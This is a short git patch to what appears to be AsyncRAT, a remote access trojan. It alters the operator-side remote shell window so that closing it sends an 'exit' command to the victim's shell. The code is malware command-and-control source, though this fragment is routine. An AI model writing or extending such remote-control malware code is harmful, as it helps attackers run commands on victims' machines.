From 154f4b412359e699b1a8ce419315c3f9d2b048c5 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Sun, 1 Dec 2019 06:42:59 +0300 Subject: [PATCH] force to close --- AsyncRAT-C#/Server/Forms/FormShell.cs | 17 ++++------------- 1 file changed, 4 insertions(+), 13 deletions(-) diff --git a/AsyncRAT-C#/Server/Forms/FormShell.cs b/AsyncRAT-C#/Server/Forms/FormShell.cs index 3b4946d..bcdcd49 100644 --- a/AsyncRAT-C#/Server/Forms/FormShell.cs +++ b/AsyncRAT-C#/Server/Forms/FormShell.cs @@ -33,11 +33,9 @@ namespace Server.Forms { richTextBox1.Clear(); textBox1.Clear(); - return; } if (textBox1.Text == "exit".ToLower()) { - ExitShell(); this.Close(); } MsgPack msgpack = new MsgPack(); @@ -50,8 +48,10 @@ namespace Server.Forms private void FormShell_FormClosed(object sender, FormClosedEventArgs e) { - ExitShell(); - + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "shellWriteInput"; + msgpack.ForcePathObject("WriteInput").AsString = "exit"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } private void Timer1_Tick(object sender, EventArgs e) @@ -62,14 +62,5 @@ namespace Server.Forms } catch { this.Close(); } } - - private void ExitShell() - { - try - { - Client?.Disconnected(); - } - catch { } - } } }